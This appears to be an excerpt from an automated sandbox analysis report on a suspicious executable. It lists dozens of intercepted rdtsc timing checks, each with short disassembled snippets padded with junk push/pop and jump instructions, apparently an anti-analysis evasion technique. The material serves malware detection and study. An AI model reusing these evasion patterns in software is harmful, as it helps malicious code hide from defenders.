Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFBB04 second address: DFBB6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F66B1272F58h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov edi, 42A67AA7h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F66B1272F58h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 mov si, A5DCh 0x00000049 xchg eax, ebx 0x0000004a pushad 0x0000004b jnp 00007F66B1272F58h 0x00000051 pushad 0x00000052 jg 00007F66B1272F56h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDFE6 second address: DFDFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDFEA second address: DFDFEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDFEE second address: DFDFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF06F second address: DFF073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF073 second address: DFF08C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF08C second address: DFF091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFF091 second address: DFF0F7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F66B07B4FA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jns 00007F66B07B4FACh 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D2F38h], ebx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F66B07B4FA8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D18D2h], edi 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F66B07B4FB9h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFFCB second address: DFFFE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F66B1272F69h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFFE9 second address: E0001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 add di, FB53h 0x0000000d push 00000000h 0x0000000f and bx, 9908h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+12459987h], eax 0x0000001c xchg eax, esi 0x0000001d jnl 00007F66B07B4FB0h 0x00000023 push eax 0x00000024 push ecx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0001B second address: E00021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0200C second address: E0205D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b movsx ebx, dx 0x0000000e push 00000000h 0x00000010 mov dword ptr [ebp+122D36ADh], eax 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F66B07B4FA8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov bl, 4Bh 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01090 second address: E01096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01096 second address: E0109A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0109A second address: E0109E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04069 second address: E0409D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F66B07B4FB4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F66B07B4FB7h 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0409D second address: E040A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0532B second address: E05330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E070EB second address: E070F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E071AD second address: E071B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E090F1 second address: E090F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E090F5 second address: E09107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F66B07B4FA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09107 second address: E0910D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0910D second address: E0918F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B07B4FA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F66B07B4FA8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D3145h], ebx 0x0000002b push 00000000h 0x0000002d jp 00007F66B07B4FACh 0x00000033 mov edi, dword ptr [ebp+124570E0h] 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F66B07B4FA8h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 00000016h 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 jno 00007F66B07B4FB8h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0918F second address: E0919A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F66B1272F56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A119 second address: E0A11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E073CE second address: E073D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E073D4 second address: E073DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F66B07B4FA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E073DE second address: E07418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F66B1272F64h 0x00000014 jmp 00007F66B1272F60h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07418 second address: E0741E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0741E second address: E07422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E09353 second address: E0935C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08418 second address: E0841C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0841C second address: E08420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0BF81 second address: E0BFA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F66B1272F5Dh 0x0000000b popad 0x0000000c push eax 0x0000000d jo 00007F66B1272F60h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E062A7 second address: E062AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0A2A1 second address: E0A2A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E062AD second address: E062EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F66B07B4FB7h 0x00000012 jne 00007F66B07B4FA6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CFA2 second address: E0CFA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CFA6 second address: E0D00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F66B07B4FB8h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F66B07B4FA8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov edi, ebx 0x0000002d mov dword ptr [ebp+122D35C0h], edi 0x00000033 push 00000000h 0x00000035 mov ebx, dword ptr [ebp+122D369Bh] 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F66B07B4FB2h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E128E2 second address: E128F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 js 00007F66B1272F64h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16D1F second address: E16D3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB8h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16D3F second address: E16D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16EB7 second address: E16EBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16EBC second address: E16EF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F5Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F66B1272F5Ch 0x00000014 jmp 00007F66B1272F65h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16EF2 second address: E16F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F66B07B4FB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E16F09 second address: E16F0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17058 second address: E1705E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1705E second address: E17062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17062 second address: E17066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17066 second address: E1706C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1706C second address: E17076 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F66B07B4FACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18EDB second address: E18EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18EE1 second address: E18EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18EE7 second address: E18EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18EEC second address: E18F12 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F66B07B4FB0h 0x00000008 jmp 00007F66B07B4FAEh 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18F12 second address: E18F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F66B1272F67h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAFC3D second address: DAFC47 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B07B4FACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1EA9B second address: E1EAA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1EAA3 second address: E1EAE5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F66B07B4FB9h 0x00000008 jmp 00007F66B07B4FAAh 0x0000000d pop ecx 0x0000000e push eax 0x0000000f jmp 00007F66B07B4FB8h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAAA41 second address: DAAA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F25B second address: E1F25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F25F second address: E1F273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F66B1272F5Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F273 second address: E1F2A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F66B07B4FB4h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jmp 00007F66B07B4FAFh 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F479 second address: E1F47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F47E second address: E1F488 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F66B07B4FACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F488 second address: E1F4B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F66B1272F61h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F66B1272F5Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F4B5 second address: E1F4C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1F4C8 second address: E1F502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F66B1272F67h 0x00000014 jmp 00007F66B1272F63h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26056 second address: E2607B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB6h 0x00000007 jo 00007F66B07B4FA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24C5C second address: E24C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24C60 second address: E24C7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B07B4FB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24C7D second address: E24CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F66B1272F67h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F66B1272F58h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E252D0 second address: E252D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25579 second address: E25595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F66B1272F64h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25595 second address: E2559D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E256FF second address: E25703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25703 second address: E25714 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25874 second address: E2587A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E259E9 second address: E25A27 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F66B07B4FA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jo 00007F66B07B4FE2h 0x00000011 jns 00007F66B07B4FC0h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F66B07B4FABh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25BB8 second address: E25BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F63h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25D4F second address: E25D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25D55 second address: E25D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25D59 second address: E25D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB66BF second address: DB66FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F66B1272F5Eh 0x00000007 jmp 00007F66B1272F5Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F66B1272F69h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB66FA second address: DB66FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B58A second address: E2B5A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F66B1272F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jns 00007F66B1272F56h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B5A0 second address: E2B5A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B5A6 second address: E2B5AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B5AA second address: E2B5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F66B07B4FAFh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e jnl 00007F66B07B4FAEh 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F66B07B4FA6h 0x0000001c jmp 00007F66B07B4FB4h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B5EC second address: E2B5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B5F0 second address: E2B5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2B721 second address: E2B725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
